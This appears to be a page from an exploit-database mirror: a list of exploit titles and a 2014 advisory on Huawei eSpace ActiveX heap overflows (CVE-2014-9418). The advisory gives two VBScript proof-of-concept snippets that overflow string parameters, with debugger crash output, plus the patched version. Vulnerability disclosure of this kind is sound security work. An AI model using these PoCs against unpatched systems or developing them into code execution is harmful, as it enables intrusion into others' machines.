44198f828c
16 changes to exploits/shellcodes Huawei eSpace Meeting 1.1.11.103 - 'cenwpoll.dll' SEH Buffer Overflow (Unicode) Huawei eSpace 1.1.11.103 - Image File Format Handling Buffer Overflow Huawei eSpace 1.1.11.103 - 'ContactsCtrl.dll' / 'eSpaceStatusCtrl.dll' ActiveX Heap Overflow Encrypt PDF 2.3 - Denial of Service (PoC) PCL Converter 2.7 - Denial of Service (PoC) docPrint Pro 8.0 - Denial of Service (PoC) AbsoluteTelnet 10.16 - 'License name' Denial of Service (PoC) BulletProof FTP Server 2019.0.0.50 - 'DNS Address' Denial of Service (PoC) BulletProof FTP Server 2019.0.0.50 - 'Storage-Path' Denial of Service (PoC) xorg-x11-server < 1.20.3 - Local Privilege Escalation (Solaris 11 inittab) xorg-x11-server < 1.20.3 (Solaris 11) - 'inittab Local Privilege Escalation Huawei eSpace 1.1.11.103 - DLL Hijacking Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation Solaris 7/8/9 (SPARC) - 'dtprintinfo' Local Privilege Escalation (1) Solaris 7/8/9 (SPARC) - 'dtprintinfo' Local Privilege Escalation (2) GetSimpleCMS - Unauthenticated Remote Code Execution (Metasploit) eLabFTW 1.8.5 - Arbitrary File Upload / Remote Code Execution Linux x86_64 - Delete File Shellcode (28 bytes)
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3.5 KiB
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85 lines
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3.5 KiB
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Huawei eSpace Meeting ContactsCtrl.dll and eSpaceStatusCtrl.dll ActiveX Heap Overflow
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Vendor: Huawei Technologies Co., Ltd.
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Product web page: https://www.huawei.com
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Affected version: eSpace 1.1.11.103 (aka eSpace ECS, eSpace Desktop, eSpace Meeting, eSpace UC)
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eSpace UC V200R002C02
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Summary: Create more convenient Enhanced Communications (EC) services for your
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enterprise with this suite of products. Huawei’s EC Suite (ECS) solution combines
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voice, data, video, and service streams, and provides users with easy and secure
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access to their service platform from any device, in any place, at any time. The
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eSpace Meeting allows you to join meetings that support voice, data, and video
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functions using the PC client, the tablet client, or an IP phone, or in a meeting
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room with an MT deployed.
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Desc: eSpace Meeting suffers from a heap-based memory overflow vulnerability when parsing
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large amount of bytes to the 'strNum' string parameter in GetNameyNum() in 'ContactsCtrl.dll'
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and 'strName' string parameter in SetUserInfo() in eSpaceStatusCtrl.dll library, resulting
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in heap memory corruption. An attacker can gain access to the system of the affected node
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and execute arbitrary code.
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Vuln ActiveX controls:
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C:\Program Files\eSpace-ecs\ContactsCtrl.dll
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C:\Program Files\eSpace-ecs\eSpaceStatusCtrl.dll
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Tested on: Microsoft Windows 7 Professional
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Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
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23.09.2014
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Patched version: V200R001C03
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Vuln ID: HWPSIRT-2014-1157
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CVE ID: CVE-2014-9418
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Advisory: https://www.huawei.com/en/psirt/security-advisories/hw-406589
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--
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ContactsCtrl.dll PoC and debug output:
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<object classid='clsid:B53B93C2-6B0D-4D30-B46D-12F64E809B6D' id='target' />
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<script language='vbscript'>
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targetFile = "C:\Program Files\eSpace-ecs\ContactsCtrl.dll"
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prototype = "Function GetNameByNum ( ByVal strNum As String ) As String"
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memberName = "GetNameByNum"
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progid = "ContactsCtrlLib.ContactWnd"
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argCount = 1
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arg1=String(616400, "A")
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target.GetNameByNum arg1
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0:000> d esi
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04170024 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
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04170034 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
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04170044 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
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04170054 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
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04170064 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
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04170074 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
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04170084 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
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04170094 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
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eSpaceStatusCtrl.dll PoC and debug output:
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<object classid='clsid:93A44D3B-7CED-454F-BBB4-EE0AA340BB78' id='target' />
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<script language='vbscript'>
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targetFile = "C:\Program Files\eSpace-ecs\eSpaceStatusCtrl.dll"
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prototype = "Sub SetUserInfo ( ByVal strAccount As String , ByVal staffNo As String , ByVal strName As String , ByVal status As Long )"
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memberName = "SetUserInfo"
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progid = "eSpaceStatusCtrlLib.StatusCtrl"
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argCount = 4
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arg1="defaultV"
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arg2="defaultV"
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arg3=String(14356, "A")
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arg4=1
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target.SetUserInfo arg1 ,arg2 ,arg3 ,arg4
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0:005> r
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eax=feeefeee ebx=02813550 ecx=feeefeee edx=feeefeee esi=0281369c edi=02813698
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eip=776def10 esp=029dfd60 ebp=029dfd74 iopl=0 nv up ei ng nz ac po cy
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cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010293
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ntdll!RtlEnterCriticalSection+0x4a:
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776def10 83790800 cmp dword ptr [ecx+8],0 ds:0023:feeefef6=???????? |